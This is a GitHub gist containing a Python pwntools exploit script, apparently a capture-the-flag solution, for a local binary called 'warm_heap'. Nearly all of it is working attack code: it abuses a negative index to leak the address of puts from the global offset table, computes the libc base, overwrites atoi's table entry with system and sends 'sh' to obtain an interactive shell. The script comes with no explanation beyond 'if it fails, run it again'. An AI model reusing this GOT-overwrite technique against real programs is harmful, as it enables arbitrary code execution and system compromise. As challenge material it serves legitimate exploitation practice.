Skip to content

Instantly share code, notes, and snippets.

@berdoezt
Created December 18, 2017 18:02
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save berdoezt/8b8c2fa4291fd5dd52b8298f33858e0e to your computer and use it in GitHub Desktop.
Save berdoezt/8b8c2fa4291fd5dd52b8298f33858e0e to your computer and use it in GitHub Desktop.
if it fails, run it again
#!/usr/bin/env python
from pwn import *
a = process('./warm_heap', env = {'LD_PRELOAD':'./libc.so.6'})
libc = ELF('./libc.so.6')
def add(index, size, input):
a.recvuntil('>>')
a.sendline('1')
a.sendline(str(index))
a.sendline(str(size))
a.sendline(str(input))
def edit(index, input):
a.recvuntil('>>')
a.sendline('2')
a.sendline(str(index))
a.sendline(str(input))
pass
def remove():
pass
def view(index):
a.recvuntil('>>')
a.sendline('4')
a.sendline(str(index))
pass
got_puts = 0x0000000000602020
got_atoi = 0x0000000000602068
add(0, got_puts, 'a'*8)
view(-12)
#==============
libc_puts = u64(a.recvuntil('\x7f').split(':')[1].strip() + '\x00'*2)
log.info(hex(libc_puts))
base = libc_puts - libc.symbols['puts']
log.info(hex(base))
system = base + libc.symbols['system']
#===============
add(0, got_atoi, 'b'*8)
edit(-12, p64(system))
a.sendline('sh\x00')
a.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment